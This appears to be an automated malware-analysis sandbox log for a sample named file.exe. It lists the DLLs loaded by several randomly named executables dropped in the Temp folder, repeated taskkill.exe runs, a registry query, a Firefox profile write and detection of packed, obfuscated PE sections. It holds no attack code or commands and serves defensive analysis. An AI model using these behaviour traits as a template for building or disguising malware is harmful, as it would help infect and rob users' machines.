Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2994688 > 1048576

Source: file.exe

Static PE information: Raw size of hinhbduz is bigger than: 0x100000 < 0x2b1c00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Unpacked PE file: 3.2.S14AV77TIR9DRWSCWIW0.exe.de0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ptpgbbgo:EW;epijyeip:EW;.taggant:EW;
